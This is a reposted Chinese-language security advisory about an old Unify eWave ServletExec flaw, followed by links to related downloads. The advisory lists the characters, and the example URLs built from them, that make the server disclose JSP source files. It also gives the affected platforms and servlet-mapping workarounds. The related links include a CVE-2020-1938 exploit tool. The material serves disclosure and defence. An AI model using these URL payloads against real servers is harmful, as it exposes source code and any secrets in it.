`

在HTTP请求中添加特殊字符导致暴露JSP源代码文件------转自他人

阅读更多
涉及程序:
ServletExec
描述:

详细:
Unify eWave ServletExec 是一个 Java/Java Servlet 引擎插件,主要用于 WEB 服务器,例如:Microsoft IIS, Apache, Netscape Enterprise 服务器等等。
当一个 HTTP 请求中添加下列字符之一,ServletExec 将返回 JSP 源代码文件。
.
%2E
+
%2B

%5C
%20
%00
成功的利用该漏洞将导致泄露指定的JSP文件的源代码
例如:
使用下面的任意一个URL请求将输出指定的JSP文件的源代码:
http://target/directory/jsp/file.jsp.
http://target/directory/jsp/file.jsp%2E

http://target/directory/jsp/file.jsp+
http://target/directory/jsp/file.jsp%2B
http://target/directory/jsp/file.jsp
http://target/directory/jsp/file.jsp%5C
http://target/directory/jsp/file.jsp%20
http://target/directory/jsp/file.jsp%00
受影响的系统:
Unify eWave ServletExec 3.0c
- Sun Solaris 8.0
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000
- Linux kernel 2.3.x
- IBM AIX 4.3.2
- HP HP-UX 11.4
Unify eWave ServletExec 3.0
- Sun Solaris 8.0
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000
- Linux kernel 2.3.x
- IBM AIX 4.3.2
- HP HP-UX 11.4
解决方案:
临时解决办法:
如果没有使用任何静态页面或图像,可以配置一个默认的 servlet,并将“/”映射到这个默认的 servlet。这样当收到一个未映射到某个 servlet 的 URL 时,这个默认的servlet 就会被调用。在这种情况下,默认的 servlet 可以仅仅返回“未找到文件”。如果使用了静态的页面或图像,仍然可以作这样的配置,但是需要让这个默认的servlet 处理对合法的静态页面和图像的请求。
另一种可能就是将*.jsp+、*.jsp.和*.jsp等映射到一个 servlet,而该servlet只是返回“未找到文件”。对于*.jsp%00和*.jsp%20这样的情况,映射应以未经编码的形式输入。例如,对于*.jsp%20的映射应输入“*.jsp ”。注意%20被转换成一个空格字符。
分享到:
评论

相关推荐

    服务器安全技术分析:JSP漏洞大观

    文中介绍一下一些服务器(包括Web服务器和JSP服务器)的常见漏洞:Apache泄露重写的任意文件、在HTTP请求中添加特殊字符导致暴露JSP源代码文件、Tomcat的漏洞、Allair Jrun漏洞有哪些漏洞、Allaire JRUN 2.3 查看...

    jsp大作业源码-数据库创建增删查改

    在提供的压缩包文件"web"中,可能包含了项目的源代码、配置文件、静态资源等,学习者可以通过阅读和运行这些文件来理解整个项目的实现过程,进一步巩固JSP与MySQL数据库操作的技能。这个项目对于理解和实践Web开发中...

    达内servlet/jsp/jquery资料

    根据提供的文件信息,以下是对达内servlet/jsp/jquery培训资料中的关键知识点的详细解析: ### 1. 架构 - **C/S 架构(Client-Server 架构)**: - 客户端和服务端通过TCP/IP协议进行通信。 - 特点包括:需要...

    基于JAVA的RSA文件加密软件的设计与实现(源代码+论文).rar

    在JSP层面,开发者会创建相应的页面让用户上传文件、输入密钥,然后通过后台Java程序处理加密和解密请求,并将结果显示在网页上。 此外,为了保证系统的安全性,开发者可能还考虑了以下方面: 1. 密钥管理:私钥...

    CVE-2020-1938 漏洞利用工具(POC)

    这个漏洞影响了Tomcat 9.0.x版本、8.5.x版本以及7.0.x版本,主要由于其对JSP文件处理不当所导致。 **漏洞原理** Apache Tomcat是一个广泛使用的开源Java Servlet容器,它允许开发者部署和运行基于Java的Web应用...

    用jsp+javabean+servlet实现的分页

    此外,敏感信息如数据库连接字符串应妥善保管,避免暴露在源代码中。 总结,这个项目展示了如何在Java Web环境中利用JSP、JavaBean和Servlet协作完成分页功能,同时也涵盖了与MySQL数据库的交互。这样的实现方式...

    Tomcat-7.0-doc

    12. **过滤器(Filter)**: 可以在请求处理流程中添加预处理和后处理逻辑,实现如字符编码转换、登录验证等功能。 13. **监听器(Listener)**: 监听特定事件,如应用启动/停止、session创建/销毁等,进行相应的...

    2021-2022计算机二级等级考试试题及答案No.3883.docx

    根据给定文件的信息,我们可以总结出以下几个重要的知识点: ### 1. 进程与线程的区别 - **概念区分**:进程是系统进行资源分配和调度的基本单位;线程则是进程内部的一个执行实体,它是处理器调度和分派的基本...

    14.8 Struts2 基础之 实践与练习

    `.classpath`文件包含了项目所需的类路径信息,包括JRE系统库、项目依赖的库以及项目源代码的位置。`.project`文件则包含了项目的元数据,如项目类型、构建配置等,这对于在IDE中正确配置和运行Struts2项目至关重要...

    《JAVA程序设计教程》电子教案及源码

    《JAVA程序设计教程》是一本深入浅出的Java编程学习资料,它...同时,配合源代码的分析,能够更好地理解如何在实践中应用Java编程技术,提升编程能力。无论是初学者还是经验丰富的开发者,这都是一份宝贵的参考资料。

    黑马程序员_struts2框架2016版视频_struts2_day01笔记

    - **src**:包含了源代码。 在实际开发过程中,通常只需要导入lib下的13个核心jar包即可。这些jar包主要包括: - **struts2-core**: Struts2的核心库。 - **xwork-core**: Struts2和WebWork所依赖的命令模式框架。...

    Struts2笔记

    2. 解压缩文件,注意观察目录结构,如`apps`包含示例项目,`docs`有相关文档,`lib`包含所需jar包,`src`包含源代码。 3. 创建一个新的JavaWeb工程,并从解压后的`lib`目录复制必要的jar包到工程的`WEB-INF/lib`目录...

    servlet进行用户登录代码

    至于提供的压缩包文件`servlet_first`,这可能是包含了一个简单的Servlet项目初始文件,可能包括Servlet的源代码、HTML页面、Web配置文件(如`web.xml`)等。为了深入学习和实践,你可以解压这个文件,查看其中的...

    Jquery+ajax+JAVA(servlet)实现下拉菜单异步取值_.docx

    3. 错误处理:添加适当的错误处理机制,确保在出现问题时能够优雅地处理,而不是直接暴露敏感信息。 4. CSRF防护:如果请求涉及改变服务器状态,应考虑使用CSRF(跨站请求伪造)令牌来保护。 5. 输入验证:在服务端...

    Spring面试专题及答案.zip

    Spring框架是Java开发中最常用的轻量级框架之一,它的出现极大地简化了企业级应用的开发。这个"Spring面试专题及答案.zip"压缩包文件显然包含了有关Spring框架的面试问题及其解答,这对于准备Spring面试或者想要深入...

    东师21春《Java程序设计》在线作业1-0004参考答案.docx

    在给定的代码片段中,如果要在`method()`方法中抛出`IOException`,则需要在方法签名中声明该异常类型。 ### 16. 类的封装 类的封装意味着隐藏类的内部实现细节,只暴露必要的方法和属性。在Java中,通常使用`...

    cxf+spring+web

    【压缩包子文件的文件名称列表】"cxfspring"可能是项目源代码或者配置文件的压缩包,解压后可能包含以下内容: 1. **源代码文件(.java)**: 包含CXF服务的实现,以及Spring配置文件。 2. **Spring配置文件(.xml)...

Global site tag (gtag.js) - Google Analytics